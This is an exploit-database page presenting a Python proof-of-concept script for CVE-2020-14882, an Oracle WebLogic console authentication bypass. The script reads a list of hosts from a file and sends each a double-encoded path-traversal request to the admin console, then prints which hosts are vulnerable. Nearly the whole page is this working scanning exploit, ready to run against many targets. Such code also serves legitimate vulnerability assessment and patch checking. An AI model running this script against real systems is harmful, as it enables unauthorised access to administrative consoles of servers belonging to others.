Exploit databaseDownload repository ZIP
GH-9f76664ece7d7a3cbe58a95b54c518e8
ggyao/cve-2020-14882_poc
Sources for CVE-2020-14882
42 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files4
ggyao/cve-2020-14882_pocRevision 3603dc2fc66a
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
CVE-2020-14882.py
Python · 754 bytesimport requests
requests.packages.urllib3.disable_warnings()
headers_wls_1213 = {
'User-Agent':'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0',
'Content-Type':'text/xml'
}
def main():
for target in open("target.txt"):
target = target.strip()
url = "http://" + target + '/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=java.lang.String("ahihi")'
try:
bypass_1 = requests.get(url, headers = headers_wls_1213,timeout = 3, verify = False)
if "quicklinksrowout" in bypass_1.text:
print ("[+] " + target + " is vulnerable!")
else:
print ("[-] " + target + " is not vulnerable!")
except Exception as e:
pass
if __name__=="__main__":
main()